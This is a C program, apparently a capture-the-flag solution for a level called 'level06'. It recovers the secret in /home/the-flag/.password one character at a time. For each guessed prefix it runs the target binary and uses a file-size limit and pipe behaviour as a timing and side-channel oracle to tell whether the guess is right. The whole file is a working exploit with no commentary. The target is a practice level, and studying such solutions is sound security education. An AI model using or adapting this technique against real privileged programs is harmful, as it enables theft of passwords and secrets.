#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <limits.h>
#include <string.h>
#include <sys/resource.h> 
#include <sys/stat.h> 
#include <sys/wait.h>

int testfragment(const char *str)
{
	int out[2];
	pipe2(out, O_NONBLOCK);
	if (fork()) {
		int status;
		close(out[1]);
		status = wait(NULL);
		while (getpgid(status + 1) == getpid())
			usleep(100);
                status = read(out[0], NULL, 1);
		close(out[0]);
                return status == 0;
	} else {
		int file;
		struct rlimit limit;
		char buffer[1025];
		char filename[] = "/tmp/level06-XXXXXX";
		
		dup2(out[1], STDOUT_FILENO);
		close(out[0]);
		
		file = mkstemp(filename);
		unlink(filename);
		fcntl(file, F_SETFL, fcntl(file, F_GETFL) & ~O_NONBLOCK);
		dup2(file, STDERR_FILENO);
		
		getrlimit(RLIMIT_FSIZE, &limit);
		limit.rlim_cur = 33 + strlen(str);
		setrlimit(RLIMIT_FSIZE, &limit);
		
		snprintf(buffer, 1025, "%s~", str);
		execl("/levels/level06", "level06", "/home/the-flag/.password", buffer, NULL);
	}
}

int testfull(const char *str)
{
	int out[2];
	pipe(out);
	if (fork()) {
		char result[35 + strlen(str)];
		memset(result, 0, sizeof(result));
		close(out[1]);
		wait(NULL);
		read(out[0], &result, sizeof(result));
		close(out[0]);
		return result[sizeof(result) - 1] == 'W';
	} else {
		dup2(out[1], STDERR_FILENO);
		close(out[0]);
		close(STDOUT_FILENO);
		execl("/levels/level06", "level06", "/home/the-flag/.password", str, NULL);
	}	
}

char allowed_chars[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
int main(int argc, char *argv[])
{
	char buffer[1024];
	int i, j, len;
	char c;
	memset(buffer, 0, 1024);
	len = strlen(allowed_chars);
	for (i = 0; i < 1024; ++i) {
		for (j = 0; j < len; ++j) {
			buffer[i] = allowed_chars[j];
			printf("\r\033[2K%s", buffer);
			fflush(stdout);
			if (testfragment(buffer)) {
				if (testfull(buffer)) {
					printf("\n");
					return 0;
				}
				break;
			}
		}
	}
	printf("\r\033[2Kunknown\n");
	return 1;
}